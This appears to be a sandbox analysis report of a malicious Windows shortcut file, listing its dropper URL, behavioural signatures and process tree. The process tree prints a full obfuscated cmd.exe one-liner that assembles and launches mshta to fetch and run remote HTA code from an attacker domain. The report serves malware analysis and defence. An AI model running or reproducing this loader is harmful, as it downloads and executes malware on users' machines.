Analysis
- max time kernel
148s - max time network
117s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
03/08/2026, 13:36
General
- Target DOC-T9PU0O.lnk
- Size 2KB
- Sample260803-qwp6macl6z
- SHA256 49b9a6e06f3ae91f350d8a21ba017ed3bab5eb94029f1d8970668f1b37872d64
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-T9PU0O.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set Gw=dathblgdat&&set snwX=infopngzgfqotqiqvlehinf&&set Bs=tmppxzznxzztmp&&set fdgT=cfgltvfyvdcfg&&set Vz=infrvzrinf&&set XfDX=jcusz&&set Gmk=72taro&&set cLx=htd2&&set BofcV=netsavaefasrykgpdgokrsecanet&&set uxiY=pmwh6&&set Cxra=cshxr&&set Ew=xpta3zs&&set Wsc=sysgwglfqfgvssys&&set ouVje=syshybwvssldzyxfwnsys&&set jWp=tmpfoxtadzwjzqhnbeettmp&&set lKhjV=logkvclutmwalog&&set hj=http@s:@//bro-p@d@f@f@[email protected]@a@t@/h/e@sta@[email protected]@p?@r=3@607@61F15794&&start /b !uxiY:~1,1!!Cxra:~1,2!!Ew:~2,2! !hj:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵